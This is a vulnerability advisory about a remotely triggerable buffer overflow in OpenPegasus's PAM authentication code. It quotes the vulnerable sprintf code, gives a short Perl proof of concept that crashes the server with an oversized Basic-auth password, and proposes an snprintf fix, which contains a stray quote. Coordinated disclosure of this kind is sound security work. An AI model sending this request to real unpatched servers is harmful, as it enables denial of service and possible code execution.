Security Research
by Alexander Sotirov
OpenPegasus PAM authentication buffer overflow
Vendor notification: Dec 20, 2007
Vendor patch: OpenPegasus 2.6.2
Public dislcosure: Jan 8, 2008
Systems affected
- OpenPegasus 2.5.5
- OpenPegasus 2.6.1
Not affected
- OpenPegasus 2.7.0
Overview
There is a buffer overflow vulnerability in the PAM authentication code in the OpenPegasus CIM management server. This vulnerability can be exploited remotely and results in arbitrary code execution with the privileges of the cimserver process.
Due to a significant re-architecting work in OpenPegasus 2.7.0 the vulnerable code is not present any more, but previous releases are still vulnerable.
Technical Details
OpenPegasus accepts HTTP and HTTPS requests on ports 5988 and 5989. The client can use Basic authentication to send a username and a password to the server. The username and password are base64 encoded and sent in the Authorization header of the HTTP request.
If the OpenPegasus server was built with the PEGASUS_PAM_AUTHENTICATION and PEGASUS_USE_PAM_STANDALONE_PROC options, the request would be processed by the PAMBasicAuthenticatorStandAlone::authenticate function. It passes the username and password strings to the _writeString functions, which is supposed to write them to a pipe. This function contains the following code:
#define BUFFERLEN 1024 PAMBasicAuthenticatorStandAlone::_writeString(const String& text) { char line[BUFFERLEN]; int n; CString copy_of_text=text.getCString(); n = strlen(copy_of_text); sprintf(line, "%4u%s", n, (const char*)copy_of_text); ... }
The string argument of the function is the username or password supplied by the user. If they are longer than 1020 bytes, the sprintf call will overflow the line[] buffer.
Proof of Concept
To trigger this vulnerability, an attacker needs to send a HTTP POST request with a long username or password in the Authorization header. The following Perl script will generate a request that will crash the Pegasus server:
#!/usr/bin/perl use MIME::Base64; $user = 'root'; $pass = 'A'x2000; $auth = encode_base64("$user:$pass"); $auth =~ s/[\r\n]//g; print "POST / HTTP/1.1\r\n". "Authorization: Basic $auth\r\n". "Content-Length: 0\r\n". "\r\n";
Solution
The sprintf() call in the code above should be replaced with snprintf():
snprintf(line, sizeof(line), ""%4u%s", n, (const char*)copy_of_text);